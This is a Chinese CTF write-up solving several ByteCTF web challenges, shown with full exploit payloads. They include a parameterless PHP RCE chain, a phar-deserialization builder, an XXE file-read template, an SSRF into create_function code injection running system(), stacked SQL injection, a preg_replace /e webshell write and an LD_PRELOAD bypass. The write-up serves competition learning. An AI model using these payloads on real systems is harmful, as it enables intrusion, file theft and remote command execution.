周末自己打了一会 Byte CTF ,队里其他师傅都没啥时间,自己做题比较慢,就只做了几个题。
Web
boring_code
<?php
function is_valid_url($url) {
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/data:\/\//i', $url)) {
return false;
}
return true;
}
return false;
}
if (isset($_POST['url'])){
$url = $_POST['url'];
if (is_valid_url($url)) {
$r = parse_url($url);
if (preg_match('/baidu\.com$/', $r['host'])) {
$code = file_get_contents($url);
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
} else {
echo "error: host not allowed";
}
} else {
echo "error: invalid url";
}
}else{
highlight_file(__FILE__);
}
审计题,由 PHP SSRF Techniques 这篇文章我们可以知道有几种 bypass trick,与题目比较类似的是最后一种 trick ,使用 data 协议绕过进行 xss
data://google.com/plain;base64,SSBsb3ZlIFBIUAo=
但是我们这里 data 直接被 ban 掉了,就没办法了…
这里我们队 @rmb122 师傅是直接买了一个域名xxxxbaidu.com
这样,然后起个 http 服务就行,然而看了 ROIS 的 wp ,还有一个比较有意思的解法,就是利用百度爬虫。
在百度搜索界面如果爬到的自己网站的话,点击自己的网站,并不是直接访问自己的网站,而是百度有一个重定向的机制,将你的网站转换成了类似如下的形式
http://www.baidu.com/link?url=7W9evem35YiIRoQTUDMHxL5ZzKqb8nlwG_me93YTuIZLKV6l0YLOZcxWlVTdNGPQ70SncapWoM5ceZ55fUae6a
最终还是会跳转到你的网站,但是这个要求就是需要让百度的虫子爬到自己的网站,百度爬虫一般是两三天生效,所以如果是早就有自己的站并且被百度爬虫爬了的,或者在百度站长上提交了的都可以采用这种类似的方法进行绕过。
接下来一个正则/[a-z]+\((?R)?\)/
,就是一个无参数 RCE 了,意思就是只允许使用类似a(b(c()));
这种形式,并且过滤了下划线,很多函数都不能用了。
再接下来一个正则/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i
,就是一个简单的关键字过滤了,我们可以使用get_definded_functions
来取得所有内置可用函数,再用这个正则过滤,保留最后剩下的函数,用这个函数绕过上面的正则就行了。
根据题目提示,题目的 Web 目录形式大致是
.
├── code
│ └── index.php
└── index.php
1 directory, 2 files
我们运行的源代码是在 code 文件夹下,而 flag 是在与 code 目录平级的 index.php 文件中,意思就是我们需要获得../index.php
的源码,我们可以构建一个类似的代码环境方便调试。
所以第一个我们比较容易想到的是用scandir
函数拿到当前目录,得到一个数组,使用chdir
函数跳到上级目录,再用readfile
进行读取。
首先用scandir
得到当前目录数组:
php > var_dump(scandir('.'));
array(3) {
[0]=>
string(1) "."
[1]=>
string(2) ".."
[2]=>
string(8) "test.php"
}
可以看到..
是在第二个,也就是数组的 array[1] 位置,于是我们可以使用next
函数获得数组第二个字符串。
php > var_dump(next(scandir('.')));
PHP Notice: Only variables should be passed by reference in php shell code on line 1
string(2) ".."
接着用chdir
函数跳到上级目录:
php > var_dump(chdir(next(scandir('.'))));
PHP Notice: Only variables should be passed by reference in php shell code on line 1
bool(true)
虽然有一个 PHP Notice ,但是也误伤大雅,这里关键的是chdir
返回值是个bool(true)
,并没有返回上级目录数组什么的,这样我们貌似就不能获取到上级目录下的文件了,也就不能拿到源码了。
我们暂时先抛开这个问题,先假设到了上级目录,那我们是不是也可以像上面的方法一样,用sandir
获得数组来进一步读取文件呢?
php > var_dump(scandir('.'));
array(4) {
[0]=>
string(1) "."
[1]=>
string(2) ".."
[2]=>
string(4) "code"
[3]=>
string(9) "index.php"
}
这样我们就可以看到我们的目标文件了,因为目录排序的原因, i 在 c 的后面,所以我们肯定可以直接用end
函数直接获取这个数组的最后一个拿到index.php
字符串,
php > var_dump(end(scandir('.')));
PHP Notice: Only variables should be passed by reference in php shell code on line 1
string(9) "index.php"
接着我们就可以愉快的用readfile
来获取 flag 了
php > var_dump(readfile(end(scandir('.'))));
PHP Notice: Only variables should be passed by reference in php shell code on line 1
<?php
$flag = "This is index.php! And you get flag!";int(54)
前面后面我们都打通了,现在唯一缺的就是如何把chdir
返回的bool(true)
变成.
以便scandir
函数调用的问题了。
经过 @rmb122 师傅的发掘,microtime
可以接受一个bool(true)
参数,并返回当前 Unix 时间戳和微秒数
php > var_dump(microtime(true));
float(1568657564.377)
乍一看没什么用,但是我们依然可以配合chr
函数来进行 ascii 码转换,当时间到了指定时间,我们就可以拿到.
字符了!于是这样一开始如何构造最开始的.
这个问题也可以解决了!
于是整个 payload 就是:
readfile(end(scandir(chr(microtime(chdir(next(scandir(chr(time())))))))));
这个方法的缺点也比较明显,需要爆破…于是我用 intruder 爆了一下,运气也比较好,5s 就出来了。
EzCMS
这个题不想评价太多…拿我出的 SUCTF upload labs 2 来魔改的题,这里就简要说说点,不再详细赘述了。
这个题也是个上传的环境,但是上传有一个限制以及还有一个可疑的__call
魔术方法
class Profile{
public $username;
public $password;
public $admin;
public function is_admin(){
$this->username = $_SESSION['username'];
$this->password = $_SESSION['password'];
$secret = "********";
if ($this->username === "admin" && $this->password != "admin"){
if ($_COOKIE['user'] === md5($secret.$this->username.$this->password)){
return 1;
}
}
return 0;
}
function __call($name, $arguments)
{
$this->admin->open($this->username, $this->password);
}
}
这里可以用 hash 长度拓展来绕过,hashpump 就行。
function __construct($filename, $file_tmp, $size)
{
$this->upload_dir = 'sandbox/'.md5($_SERVER['REMOTE_ADDR']);
if (!file_exists($this->upload_dir)){
mkdir($this->upload_dir, 0777, true);
}
if (!is_file($this->upload_dir.'/.htaccess')){
file_put_contents($this->upload_dir.'/.htaccess', 'lolololol, i control all');
}
$this->size = $size;
$this->filename = $filename;
$this->file_tmp = $file_tmp;
$this->content_check = new Check($this->file_tmp);
$profile = new Profile();
$this->checker = $profile->is_admin();
}
虽然可以上传任意后缀的文件,但是上传目录下有被控制的.htaccess
,导致我们上传的 php 文件不能解析,而且每次登录都会生成这个.htaccess
文件,不能被绕过。
class File{
function __destruct()
{
if (isset($this->checker)){
$this->checker->upload_file();
}
}
}
整个题唯一一个__destruct
函数,不用猜就知道是利用这个点
class File{
public function view_detail(){
if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
die("nonono~");
}
$mine = mime_content_type($this->filepath);
$store_path = $this->open($this->filename, $this->filepath);
$res['mine'] = $mine;
$res['store_path'] = $store_path;
return $res;
}
}
这里是一个很明显的 phar 反序列化的点,触发函数是mime_content_type
,触发流是php://filter
。
整个题的意思也比较明显,但是一开始不是很 get 到点,给出的那个__call
魔术方法有点莫名其妙,然后一直去日move_uploaded_file
方法去了,结果发现这个根本日不动。然后经过马师傅的提醒,get 了一个 ZipArchive::open 函数,然后一切就明白了,随手一搜就是个原题魔改题 Insomni’hack Teaser 2018比赛Write Up:File Vault题目,可以使用 ZipArchive->open 方法达到删除目标文件。
所以整个利用链就比较清晰了, hash 拓展绕过上传限制,上传一个 webshell ,再构造一个 ZipArchive 类的 phar 包上传,用php://filter/resource=phar://
触发 phar 反序列化删除自己目录下的.htaccess
文件,直接 getflag 。
构造 phar 包的代码如下:
<?php
class Check{
public $filename;
function __construct($filename)
{
$this->filename = $filename;
}
}
class File{
public $filename;
public $filepath;
public $checker;
}
class Admin{
public $size;
public $checker;
public $file_tmp;
public $filename;
public $upload_dir;
public $content_check;
}
class Profile{
public $username = "/var/www/html/sandbox/9607fe6aa978f6811eb3fe830b544771/.htaccess";
public $password = "9";
public $admin;
}
class A{
public $a = 1;
}
unlink("1.phar");
$phar = new Phar("1.phar"); //后缀名必须为phar
$phar->startBuffering();
// <?php __HALT_COMPILER();
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"); //设置stub
$a = new ZipArchive();
$b = new Profile();
$b->admin = $a;
$o = new File();
$o->checker = $b;
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");
//签名自动计算
$phar->stopBuffering();
?>
rss
根据题目名字,因为 rss 本身也是个 XML ,这里的考点之一肯定就是 xxe 了。
于是直接拿一个 rss xxe 模版来改一下
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0"
xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>先知安全技术社区</title>
<link>http://xz.aliyun.com/forum/</link>
<description>先知安全技术社区</description>
<atom:link href="http://xz.aliyun.com/forum/feed/" rel="self"></atom:link>
<language>zh-hans</language>
<lastBuildDate>Sun, 08 Sep 2019 10:15:41 +0800</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://xz.aliyun.com/t/6223</link>
<description>CVE-2018-14418 擦出新火花</description>
<pubDate>Sun, 08 Sep 2019 10:15:41 +0800</pubDate>
<guid>http://xz.aliyun.com/t/6223</guid>
</item>
</channel>
</rss>
Url_parse 可以按照上面 boring_code 那题使用,
来绕过,在自己的端口起个 http 服务,放上面的 xml 文件就行了,类似http://your_vps:80,baidu.com:80/file
成功读到/etc/passwd
,但是读不到/flag
,接着用 php 伪协议读题目源码:
index.php
<?php
ini_set('display_errors',0);
ini_set('display_startup_erros',1);
error_reporting(E_ALL);
require_once('routes.php');
function __autoload($class_name){
if(file_exists('./classes/'.$class_name.'.php')) {
require_once './classes/'.$class_name.'.php';
} else if(file_exists('./controllers/'.$class_name.'.php')) {
require_once './controllers/'.$class_name.'.php';
}
}
routes.php
<?php
Route::set('index.php',function(){
Index::createView('Index');
});
Route::set('index',function(){
Index::createView('Index');
});
Route::set('fetch',function(){
if(isset($_REQUEST['rss_url'])){
Fetch::handleUrl($_REQUEST['rss_url']);
}
});
Route::set('rss_in_order',function(){
if(!isset($_REQUEST['rss_url']) && !isset($_REQUEST['order'])){
Admin::createView('Admin');
}else{
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){
Admin::sort($_REQUEST['rss_url'],$_REQUEST['order']);
}else{
echo ";(";
}
}
});
controllers/Admin.php
<?php
class Admin extends Controller{
public static function sort($url,$order){
$rss=file_get_contents($url);
$rss=simplexml_load_string($rss,'SimpleXMLElement', LIBXML_NOENT);
require_once './views/Admin.php';
}
}
controllers/Fetch.php
<?php
class Fetch extends Controller{
public static function handleUrl($url) {
$r = parse_url($url);
$invalidUrl = false;
if (preg_match('/aliyun\.com$/', $r['host']) || preg_match('/baidu\.com$/', $r['host']) || preg_match('/qq\.com$/', $r['host'])) {
$rss = Rss::fetch($url);
}else {
$invalidUrl = true;
}
require_once './views/Fetch.php';
}
}
Rss.php
<?php
class Rss {
public static function curl_request($url, $post = '', $cookie = '', $headers = '', $returnHeader = 0) {
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)');
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($curl, CURLOPT_AUTOREFERER, 1);
curl_setopt($curl, CURLOPT_REFERER, $url);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
if ($post) {
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($post));
}
if ($cookie) {
curl_setopt($curl, CURLOPT_COOKIE, $cookie);
}
if ($headers) {
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
}
curl_setopt($curl, CURLOPT_HEADER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 5);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$data = curl_exec($curl);
if (curl_errno($curl)) {
return curl_error($curl);
}
curl_close($curl);
list($header, $body) = explode("\r\n\r\n", $data, 2);
$info['header'] = $header;
$info['body'] = $body;
return $info;
}
public static function fetch($url) {
libxml_disable_entity_loader(false);
$rss=file_get_contents($url);
$rss=simplexml_load_string($rss,'SimpleXMLElement', LIBXML_NOENT);
return $rss;
}
}
view/Admin.php
<?php
if($_SERVER['REMOTE_ADDR'] != '127.0.0.1'){
die(';(');
}
?>
<?php include('package/header.php') ?>
<?php if(!$rss) {
?>
<div class="rss-head row">
<h1>RSS解析失败</h1>
<ul>
<li>此网站RSS资源可能存在错误无法解析</li>
<li>此网站RSS资源可能已经关闭</li>
<li>此网站可能禁止PHP获取此内容</li>
<li>可能由于来自本站的访问过多导致暂时访问限制Orz</li>
</ul>
</div>
<?php
exit;
};
function rss_sort_date($str){
$time=strtotime($str);
return date("Y年m月d日 H时i分",$time);
}
?>
<div>
<div class="rss-head row">
<div class="col-sm-12 text-center">
<h1><a href="<?php echo $rss->channel->link;?>" target="_blank"><?php echo $rss->channel->title;?></a></h1>
<span style="font-size: 16px;font-style: italic;width:100%;"><?php echo $rss->channel->link;?></span>
<p><?php echo $rss->channel->description;?></p>
<?php
if(isset($rss->channel->lastBuildDate)&&$rss->channel->lastBuildDate!=""){
echo "<p> 最后更新:".rss_sort_date($rss->channel->lastBuildDate)."</p>";
}
?>
</div>
</div>
<div class="article-list" style="padding:10px">
<?php
$data = [];
foreach($rss->channel->item as $item){
$data[] = $item;
}
usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
foreach($data as $item){
?>
<article class="article">
<h1><a href="<?php echo $item->link;?>" target="_blank"><?php echo $item->title;?></a></h1>
<div class="content">
<p>
<?php echo $item->description;?>
</p>
</div>
<div class="article-info">
<i style="margin:0px 5px"></i><?php echo rss_sort_date($item->pubDate);?>
<i style="margin:0px 5px"></i>
<?php
for($i=0;$i<count($item->category);$i++){
echo $item->category[$i];
if($i+1!=count($item->category)){
echo ",";
}
};
if(isset($item->author)&&$item->author!=""){
?>
<i class="fa fa-user" style="margin:0px 5px"></i>
<?php
echo $item->author;
}
?>
</div>
</article>
<?php }?>
</div>
<div class="text-center">
免责声明:本站只提供RSS解析,解析内容与本站无关,版权归来源网站所有
</div>
</div>
</div>
<?php include('package/footer.php') ?>
我们可以在 view/Admin.php 中看到关键点
usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
这是个在 FireShell CTF 2019 出过的考点,因为create_function
可以进行代码注入,我们可以有以下这种操作
id,id);};die(system('ls -la /'));/*
这样就可以进行命令执行了,所以我们只需要在 xxe 中构造一个 ssrf 绕过 127.0.0.1 的判断就行了
php://filter/convert.base64-encode/resource=http://127.0.0.1/rss_in_order?rss_url=http%3A%2F%2F122.112.199.14%2Fexample&order=id%2Cid)%3B%7D%3Bdie(system('ls%20-la%20%2F'))%3B%2F*
在/flag_eb8ba2eb07702e69963a7d6ab8669134
拿到 flag
babyblog
这个题最后没啥时间做了,比较可惜。赛后复盘了一下,仔细看看也没太大的难度,属于还算比较简单的。
扫描可以拿到 www.zip ,拿到源码,进行审计。
在 replace.php 中有经过$row['isvip'] == 1
判断才能使用的功能,在 register.php 中有
$sql->query("insert into users (username,password,isvip) values ('$username', '$password',0);");
每次注册isvip
被设置为 0 的,所以接下来我们需要找个注入点把我们设置为 vip
关键点就在 edit.php 当中:
if(isset($_POST['title']) && isset($_POST['content']) && isset($_POST['id'])){
foreach($sql->query("select * from article where id=" . intval($_POST['id']) . ";") as $v){
$row = $v;
}
if($_SESSION['id'] == $row['userid']){
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql->query("update article set title='$title',content='$content' where title='" . $row['title'] . "';");
exit("<script>alert('Edited successfully.');location.href='index.php';</script>");
}else{
exit("<script>alert('You do not have permission.');history.go(-1);</script>");
}
}
其中
$sql->query("update article set title='$title',content='$content' where title='" . $row['title'] . "';");
$row['title']
是上面 sql 语句取出来的结果,而title
在 writing.php 插入的时候,虽然做了防注入,使用addslashes
转义了title
的内容
if(isset($_POST['title']) && isset($_POST['content'])){
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql->query("insert into article (userid,title,content) values (" . $_SESSION['id'] . ", '$title','$content');");
exit("<script>alert('Posted successfully.');location.href='index.php';</script>");
}
但是在上面未经任何处理又直接取出来会导致二次注入,例如第一次插入'1
,经过addlashes
转义,sql 语句变成
insert into article (userid,title,content) values ("1", '\'1','1');"
但是插入数据库的内容是'1
,取出来的时候也是'1
,这就导致了注入。
所以我们可以利用这个点进行注入,update 我们的 isvip 字段就行
';update users set isvip=1 where username='zedd';
接下来就是那个奇葩正则了:
$filter = "benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\")|(\+|-|~|!|@:=|" . urldecode('%0B') . ").+?)FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
if(preg_match('/' . $filter . '/is', $value)){
exit("<script>alert('Failure!Do not use sensitive words.');location.href='index.php';</script>");
}
看起来虽然过滤了很多,但是我们依然可以使用堆叠注入来绕过:
set @t=0x73656c65637420312c323b;prepare x from @t;execute x;
所以我们把上面的 sql 语句换成16进制,就行了
';set @t=0x757064617465207573657273207365742069737669703d3120776865726520757365726e616d653d277a656464273b;prepare x from @t;execute x;
成为 vip 之后看到 replace.php 当中的内容:
$content = addslashes(preg_replace("/" . $_POST['find'] . "/", $_POST['replace'], $row['content']));
比较明显的一个利用 php 正则/e
执行命令的写法,可以使用%00
截断最后的一个斜杠,在$_POST['find']
中使用/e
修饰符
find=/e%00&replace=phpinfo();®ex=1&id=2
POST 之后拿到 phpinfo 信息,Web 根目录 /var/www/html
, disable_functions :
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,ini_set,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail
还有putenv
,考烂了的 LD_PRELOAD 绕过,直接写个 webshell :
find=/e%00&replace=file_put_contents('/var/www/html/webshell.php','<?php eval($_POST[a]);');®ex=1&id=2
发现还有 basedir 的限制,可以用以下列目录
if ($dh = opendir("glob:///*")) {
while (($file = readdir($dh)) !== false) {
echo "$file\n";
}
closedir($dh);
}
在根目录有/readflag
,直接写一个 so 文件就行了
#define _GNU_SOURCE
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <signal.h>
void pwn(void) {
system("/readflag > /var/www/html/res 2>&1");
}
void getpid(){
unsetenv("LD_PRELOAD");
pwn();
}
在当前 web 目录拿到 flag。//因为是复现环境就无所谓了。
dot_server_prove
这个题比赛的时候没怎么看,看了 bytesCTF dot_server_prove WriteUP,简单总结一下涉及的知识点:
- 逆向 bin 文件查看逻辑,根据 host 来访问不同的站点,就像 apache 的 virtualhost 一样,读取 log 来保存你的 ua
- 在 ua 处进行 xss ,读取页面有 ssrf
- ssrf 打 dict://172.18.0.3:6379/info 得到 redis 版本号 4.x
- 通过 gopher 利用主从复制的进行 RCE
iCloudMusic
打算与 SUCTF 的 iCloudMusic 放一起写吧
Conclusion
题目都不算特别难,除了马师傅的 iCloudMusic 跟 dot_server_prove ,两个不是很摸得着头脑的题, Web1/2/3 都有点魔改凑题的嫌疑,这几题并没有特别亮眼的知识点,都属于考过的,后面两题还是比较有意思的,dot_server_prove 可能不是很 get 到点,毕竟也属于一个比较新颖的题目了,以及马师傅的 iCloudMusic ,毕竟也是专门研究了一个多月的 electron orz…还是有一点收获的,希望线下赛不会被打爆 orz…